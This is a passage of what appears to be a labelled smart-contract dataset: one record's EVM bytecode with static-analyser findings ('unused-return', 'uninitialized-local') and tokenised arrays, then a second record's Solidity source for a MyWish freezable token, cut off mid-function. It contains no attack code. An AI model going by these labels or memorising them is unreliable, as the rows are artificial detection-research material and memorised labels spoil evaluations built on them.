} | 0x6080604052600436106101cd5760003560e01c80636cfc7d64116100f7578063b0cba84e11610095578063c80493cf11610064578063c80493cf1461058f578063ca15c873146105b1578063d547741f146105d1578063ff55cd40146105f157600080fd5b8063b0cba84e146104fb578063bbc4e8c21461051b578063c0c53b8b1461054f578063c4d66de81461056f57600080fd5b806391d14854116100d157806391d14854146104905780639769b439146104b05780639bb2a2dd146104d0578063a217fddf146104e657600080fd5b80636cfc7d64146103ff57806386c051eb146104355780639010d07c1461047057600080fd5b806336568abe1161016f5780634e9e82b31161013e5780634e9e82b31461037f5780635573b8b61461039f5780635c75f49d146103bf5780635fc1eba3146103df57600080fd5b806336568abe146102e7578063410ec2e214610307578063468eaa291461033f578063485cc9551461035f57600080fd5b806323dc68d1116101ab57806323dc68d114610255578063241827dc14610277578063248a9ca3146102975780632f2ff15d146102c757600080fd5b806301ffc9a7146101d25780631bc29a76146102075780631dd7cecf14610227575b600080fd5b3480156101de57600080fd5b506101f26101ed366004611fe2565b610604565b60405190151581526020015b60405180910390f35b34801561021357600080fd5b506101f2610222366004611f88565b61062f565b34801561023357600080fd5b50610247610242366004611e80565b6107a7565b6040519081526020016101fe565b34801561026157600080fd5b506102756102703660046120e4565b610804565b005b34801561028357600080fd5b506101f2610292366004611f10565b6109a1565b3480156102a357600080fd5b506102476102b2366004611ef7565b60009081526065602052604090206001015490565b3480156102d357600080fd5b506102756102e2366004611f10565b6109e2565b3480156102f357600080fd5b50610275610302366004611f10565b610a09565b34801561031357600080fd5b5060c954610327906001600160a01b031681565b6040516001600160a01b0390911681526020016101fe565b34801561034b57600080fd5b506101f261035a366004611e54565b610a2b565b34801561036b57600080fd5b5061027561037a366004612074565b610b57565b34801561038b57600080fd5b5061024761039a366004611f40565b610be8565b3480156103ab57600080fd5b5060ca54610327906001600160a01b031681565b3480156103cb57600080fd5b506102756103da3660046120a2565b610e70565b3480156103eb57600080fd5b506102756103fa366004611ef7565b610f86565b34801561040b57600080fd5b5061032761041a366004611ef7565b60cb602052600090815260409020546001600160a01b031681565b34801561044157600080fd5b506101f2610450366004611e54565b60cd60209081526000928352604080842090915290825290205460ff1681565b34801561047c57600080fd5b5061032761048b366004611fc0565b61103d565b34801561049c57600080fd5b506101f26104ab366004611f10565b611055565b3480156104bc57600080fd5b506102756104cb366004612130565b611080565b3480156104dc57600080fd5b5061024760ce5481565b3480156104f257600080fd5b50610247600081565b34801561050757600080fd5b506101f26105163660046120a2565b611234565b34801561052757600080fd5b506102477f96e3fc3be15159903e053027cff8a23f39a990e0194abcd8ac1cf1b355b8b93c81565b34801561055b57600080fd5b5061027561056a366004612029565b61128f565b34801561057b57600080fd5b5061027561058a36600461200c565b611326565b34801561059b57600080fd5b5061024760008051602061243083398151915281565b3480156105bd57600080fd5b506102476105cc366004611ef7565b6113c1565b3480156105dd57600080fd5b506102756105ec366004611f10565b6113d8565b6102756105ff3660046120e4565b6113e2565b60006001600160e01b03198216635a05180f60e01b148061062957506106298261157c565b92915050565b60ca546000906001600160a01b031633146106915760405162461bcd60e51b815260206004820152601c60248201527f53656e646572206973206e6f742061204d65737361676550726f78790000000060448201526064015b60405180910390fd5b811561079d5760c954604051633581777360e01b815260206004820152600760248201526657616c6c65747360c81b60448201526001600160a01b039091169063358177739060640160206040518083038186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a9190611e37565b6040516337e9add960e01b8152600481018690526001600160a01b038581166024830152604482018590526000606483015291909116906337e9add990608401600060405180830381600087803b15801561078457600080fd5b505af1158015610798573d6000803e3d6000fd5b505050505b5060019392505050565b6001600160a01b038316600090815260cc602090815260408083209051909183916107d69187918791016121a8565b6040516020818303038152906040528051906020012081526020019081526020016000205490509392505050565b600083836040516020016108199291906121a8565b60405160208183030381529060405280519060200120905061084960008051602061243083398151915233611055565b8061085957506108593382610a2b565b61089d5760405162461bcd60e51b81526020600482015260156024820152742737ba1030baba3437b934bd32b21031b0b63632b960591b6044820152606401610688565b600081815260cb60205260409020546001600160a01b0316156109025760405162461bcd60e51b815260206004820152601a60248201527f534b414c4520636861696e20697320616c7265616479207365740000000000006044820152606401610688565b6001600160a01b0382166109715760405162461bcd60e51b815260206004820152603060248201527f496e636f72726563742061646472657373206f6620636f6e747261637420726560448201526f31b2b4bb32b91037b71029b1b430b4b760811b6064820152608401610688565b600090815260cb6020526040902080546001600160a01b0319166001600160a01b03929092169190911790555050565b6001600160a01b038116600090815260cd6020908152604080832085845290915281205460ff1680156109db57506109db838360006115b1565b9392505050565b6109ec82826115f9565b6000828152609760205260409020610a04908261161f565b505050565b610a138282611634565b6000828152609760205260409020610a0490826116ae565b60c954604051633581777360e01b815260206004820152600f60248201526e14d8da185a5b9cd25b9d195c9b985b608a1b604482015260009182916001600160a01b039091169063358177739060640160206040518083038186803b158015610a9357600080fd5b505afa158015610aa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acb9190611e37565b6040516347bf280560e11b81526001600160a01b0386811660048301526024820186905291925090821690638f7e500a9060440160206040518083038186803b158015610b1757600080fd5b505afa158015610b2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4f9190611ed5565b949350505050565b600054610100900460ff1680610b70575060005460ff16155b610b8c5760405162461bcd60e51b815260040161068890612273565b600054610100900460ff16158015610bae576000805461ffff19166101011790555b610bb783611326565b60ca80546001600160a01b0319166001600160a01b0384161790558015610a04576000805461ff0019169055505050565b60ca546000906001600160a01b03163314610c455760405162461bcd60e51b815260206004820152601c60248201527f53656e646572206973206e6f742061204d65737361676550726f7879000000006044820152606401610688565b6001600160a01b038416610c9b5760405162461bcd60e51b815260206004820152601860248201527f4e6f64652061646472657373206d7573742062652073657400000000000000006044820152606401610688565b6001600160a01b038316600090815260cd6020908152604080832088845290915290205460ff16610ccd575080610b4f565b6000610cd9833a612349565b6001600160a01b038516600090815260cc602090815260408083208a8452909152902054909150811115610d2d57506001600160a01b038316600090815260cc602090815260408083208884529091529020545b6001600160a01b038416600090815260cc60209081526040808320898452909152902054610d5c908290612368565b6001600160a01b038516600090815260cc602090815260408083208a8452909152812091909155610d9090879086906115b1565b610e33576001600160a01b03808516600090815260cd602090815260408083208a84528252808320805460ff1916905560ca5460cb9092529091205490821691639448920291899116610de2886116c3565b6040518463ffffffff1660e01b8152600401610e009392919061222d565b600060405180830381600087803b158015610e1a57600080fd5b505af1158015610e2e573d6000803e3d6000fd5b505050505b610e466001600160a01b038616826116d0565b3a81610e528583612349565b610e5c9190612368565b610e669190612327565b9695505050505050565b60008282604051602001610e859291906121a8565b604051602081830303815290604052805190602001209050610eb560008051602061243083398151915233611055565b80610ec55750610ec53382610a2b565b610f095760405162461bcd60e51b81526020600482015260156024820152742737ba1030baba3437b934bd32b21031b0b63632b960591b6044820152606401610688565b600081815260cb60205260409020546001600160a01b0316610f665760405162461bcd60e51b815260206004820152601660248201527514d2d053114818da185a5b881a5cc81b9bdd081cd95d60521b6044820152606401610688565b600090815260cb6020526040902080546001600160a01b03191690555050565b610fb07f96e3fc3be15159903e053027cff8a23f39a990e0194abcd8ac1cf1b355b8b93c33611055565b610ffc5760405162461bcd60e51b815260206004820181905260248201527f434f4e5354414e545f5345545445525f524f4c452069732072657175697265646044820152606401610688565b60ce5460408051918252602082018390527f331f224b2912576029359714fd8a4f953651fb48b042c6c23f8da99bab035a43910160405180910390a160ce55565b60008281526097602052604081206109db90836117e9565b60009182526065602090815260408084206001600160a01b0393909316845291905290205460ff1690565b600083836040516020016110959291906121a8565b60408051601f19818403018152918152815160209283012033600090815260cc845282812082825290935291205490915082111561110a5760405162461bcd60e51b815260206004820152601260248201527142616c616e636520697320746f6f206c6f7760701b6044820152606401610688565b33600090815260cc60209081526040808320848452909152902054611130908390612368565b33600081815260cc6020908152604080832086845290915281209290925561115a918391906115b1565b158015611181575033600090815260cd6020908152604080832084845290915290205460ff165b156112245733600081815260cd602090815260408083208584528252808320805460ff1916905560ca5460cb909252909120546001600160a01b0391821692639448920292859216906111d3906116c3565b6040518463ffffffff1660e01b81526004016111f19392919061222d565b600060405180830381600087803b15801561120b57600080fd5b505af115801561121f573d6000803e3d6000fd5b505050505b61122e33836116d0565b50505050565b6000806001600160a01b031660cb600085856040516020016112579291906121a8565b60408051808303601f19018152918152815160209283012083529082019290925201600020546001600160a01b031614159392505050565b600054610100900460ff16806112a8575060005460ff16155b6112c45760405162461bcd60e51b815260040161068890612273565b600054610100900460ff161580156112e6576000805461ffff19166101011790555b6112f08483610b57565b611308600080516020612430833981519152846117f5565b620f424060ce55801561122e576000805461ff001916905550505050565b600054610100900460ff168061133f575060005460ff16155b61135b5760405162461bcd60e51b815260040161068890612273565b600054610100900460ff1615801561137d576000805461ffff19166101011790555b6113856117ff565b6113906000336117f5565b60c980546001600160a01b0319166001600160a01b03841617905580156113bd576000805461ff00191690555b5050565b60008181526097602052604081206106299061188b565b610a138282611895565b600083836040516020016113f79291906121a8565b60405160208183030381529060405280519060200120905061141a8133346115b1565b6114665760405162461bcd60e51b815260206004820152601e60248201527f4e6f7420656e6f7567682045544820666f72207472616e73616374696f6e00006044820152606401610688565b6001600160a01b038216600090815260cc6020908152604080832084845290915290205461149590349061230f565b6001600160a01b038316600081815260cc6020908152604080832086845282528083209490945591815260cd8252828120848252909152205460ff1661122e576001600160a01b03808316600090815260cd602090815260408083208584528252808320805460ff1916600117905560ca5460cb9092529091205490821691639448920291849116611526866118bb565b6040518463ffffffff1660e01b81526004016115449392919061222d565b600060405180830381600087803b15801561155e57600080fd5b505af1158015611572573d6000803e3d6000fd5b5050505050505050565b60006001600160e01b03198216637965db0b60e01b148061062957506301ffc9a760e01b6001600160e01b0319831614610629565b60003a60ce546115c19190612349565b6001600160a01b038416600090815260cc602090815260408083208884529091529020546115ef908461230f565b1015949350505050565b60008281526065602052604090206001015461161581336118c8565b610a04838361192c565b60006109db836001600160a01b0384166119b2565b6001600160a01b03811633146116a45760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610688565b6113bd8282611a01565b60006109db836001600160a01b038416611a68565b6060610629826000611b5b565b804710156117205760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610688565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461176d576040519150601f19603f3d011682016040523d82523d6000602084013e611772565b606091505b5050905080610a045760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610688565b60006109db8383611bb4565b6109ec8282611bde565b600054610100900460ff1680611818575060005460ff16155b6118345760405162461bcd60e51b815260040161068890612273565b600054610100900460ff16158015611856576000805461ffff19166101011790555b61185e611be8565b611866611be8565b61186e611be8565b611876611be8565b8015611888576000805461ff00191690555b50565b6000610629825490565b6000828152606560205260409020600101546118b181336118c8565b610a048383611a01565b6060610629826001611b5b565b6118d28282611055565b6113bd576118ea816001600160a01b03166014611c52565b6118f5836020611c52565b6040516020016119069291906121b8565b60408051601f198184030181529082905262461bcd60e51b825261068891600401612260565b6119368282611055565b6113bd5760008281526065602090815260408083206001600160a01b03851684529091529020805460ff1916600117905561196e3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008181526001830160205260408120546119f957508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610629565b506000610629565b611a0b8282611055565b156113bd5760008281526065602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60008181526001830160205260408120548015611b51576000611a8c600183612368565b8554909150600090611aa090600190612368565b9050818114611b05576000866000018281548110611ac057611ac06123ee565b9060005260206000200154905080876000018481548110611ae357611ae36123ee565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080611b1657611b166123d8565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610629565b6000915050610629565b60408051608081018252600760608083019182529082526001600160a01b0385166020808401919091528415158385015292519092611b9c918391016122c1565b60405160208183030381529060405291505092915050565b6000826000018281548110611bcb57611bcb6123ee565b9060005260206000200154905092915050565b6113bd828261192c565b600054610100900460ff1680611c01575060005460ff16155b611c1d5760405162461bcd60e51b815260040161068890612273565b600054610100900460ff16158015611876576000805461ffff19166101011790558015611888576000805461ff001916905550565b60606000611c61836002612349565b611c6c90600261230f565b67ffffffffffffffff811115611c8457611c84612404565b6040519080825280601f01601f191660200182016040528015611cae576020820181803683370190505b509050600360fc1b81600081518110611cc957611cc96123ee565b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110611cf857611cf86123ee565b60200101906001600160f81b031916908160001a9053506000611d1c846002612349565b611d2790600161230f565b90505b6001811115611d9f576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110611d5b57611d5b6123ee565b1a60f81b828281518110611d7157611d716123ee565b60200101906001600160f81b031916908160001a90535060049490941c93611d98816123ab565b9050611d2a565b5083156109db5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610688565b60008083601f840112611e0057600080fd5b50813567ffffffffffffffff811115611e1857600080fd5b602083019150836020828501011115611e3057600080fd5b9250929050565b600060208284031215611e4957600080fd5b81516109db8161241a565b60008060408385031215611e6757600080fd5b8235611e728161241a565b946020939093013593505050565b600080600060408486031215611e9557600080fd5b8335611ea08161241a565b9250602084013567ffffffffffffffff811115611ebc57600080fd5b611ec886828701611dee565b9497909650939450505050565b600060208284031215611ee757600080fd5b815180151581146109db57600080fd5b600060208284031215611f0957600080fd5b5035919050565b60008060408385031215611f2357600080fd5b823591506020830135611f358161241a565b809150509250929050565b60008060008060808587031215611f5657600080fd5b843593506020850135611f688161241a565b92506040850135611f788161241a565b9396929550929360600135925050565b600080600060608486031215611f9d57600080fd5b833592506020840135611faf8161241a565b929592945050506040919091013590565b60008060408385031215611fd357600080fd5b50508035926020909101359150565b600060208284031215611ff457600080fd5b81356001600160e01b0319811681146109db57600080fd5b60006020828403121561201e57600080fd5b81356109db8161241a565b60008060006060848603121561203e57600080fd5b83356120498161241a565b925060208401356120598161241a565b915060408401356120698161241a565b809150509250925092565b6000806040838503121561208757600080fd5b82356120928161241a565b91506020830135611f358161241a565b600080602083850312156120b557600080fd5b823567ffffffffffffffff8111156120cc57600080fd5b6120d885828601611dee565b90969095509350505050565b6000806000604084860312156120f957600080fd5b833567ffffffffffffffff81111561211057600080fd5b61211c86828701611dee565b90945092505060208401356120698161241a565b60008060006040848603121561214557600080fd5b833567ffffffffffffffff81111561215c57600080fd5b61216886828701611dee565b909790965060209590950135949350505050565b6000815180845261219481602086016020860161237f565b601f01601f19169290920160200192915050565b8183823760009101908152919050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008152600083516121f081601785016020880161237f565b7001034b99036b4b9b9b4b733903937b6329607d1b601791840191820152835161222181602884016020880161237f565b01602801949350505050565b8381526001600160a01b03831660208201526060604082018190526000906122579083018461217c565b95945050505050565b6020815260006109db602083018461217c565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b8151516060820190600d81106122e757634e487b7160e01b600052602160045260246000fd5b82526020838101516001600160a01b0316908301526040928301511515929091019190915290565b60008219821115612322576123226123c2565b500190565b60008261234457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615612363576123636123c2565b500290565b60008282101561237a5761237a6123c2565b500390565b60005b8381101561239a578181015183820152602001612382565b8381111561122e5750506000910152565b6000816123ba576123ba6123c2565b506000190190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461188857600080fdfe733bac3dca102687aa08c854c5f9067fc424f98fd8e90e41ad6b73aecc59a4fda2646970667358221220415c5f27bbf64c07617a4386efe0b7cca0cd10615fc6f5c51665f2f4796a369d64736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
26976,
19961,
2629,
2094,
2620,
2487,
2094,
2629,
16409,
2692,
2546,
2549,
26337,
2063,
28756,
2575,
29292,
26337,
22907,
2620,
10354,
24594,
2475,
20952,
2050,
2549,
18939,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
12943,
24759,
1011,
1017,
1012,
1014,
1011,
2069,
1013,
1008,
2451,
16869,
1012,
14017,
1011,
24053,
2571,
3208,
9385,
1006,
1039,
1007,
25682,
1011,
2556,
24053,
2571,
13625,
1030,
3166,
1040,
8029,
13181,
26261,
26068,
6777,
1030,
3166,
16185,
2213,
3477,
6371,
1030,
3166,
12436,
22172,
8038,
14550,
5874,
24053,
2571,
3208,
2003,
2489,
4007,
1024,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
19933,
2009,
2104,
1996,
3408,
1997,
1996,
27004,
21358,
7512,
2080,
2236,
2270,
6105,
2004,
2405,
2011,
1996,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,589 | 0x9564635d6213EeD37ac652C6b4E60C51751cfcdC | /*
* This file was generated by MyWish Platform (https://mywish.io/)
* The complete code could be found at https://github.com/MyWishPlatform/
* Copyright (C) 2018 MyWish
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
// freezing chains
mapping (bytes32 => uint64) internal chains;
// freezing amounts for each chain
mapping (bytes32 => uint) internal freezings;
// total freezing balance per address
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
/**
* @dev Gets the balance of the specified address include freezing tokens.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
/**
* @dev Gets the balance of the specified address without freezing tokens.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
/**
* @dev gets freezing count
* @param _addr Address of freeze tokens owner.
*/
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
/**
* @dev gets freezing end date and freezing balance for the freezing portion specified by index.
* @param _addr Address of freeze tokens owner.
* @param _index Freezing portion index. It ordered by release date descending.
*/
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
/**
* @dev freeze your tokens to the specified address.
* Be careful, gas usage is not deterministic,
* and depends on how many freezes _to address already has.
* @param _to Address to which token will be freeze.
* @param _amount Amount of token to freeze.
* @param _until Release date, must be in future.
*/
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
/**
* @dev release first available freezing tokens.
*/
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
/**
* @dev release all available for release freezing tokens. Gas usage is not deterministic!
* @return how many tokens was released
*/
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
// WISH masc to increase entropy
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
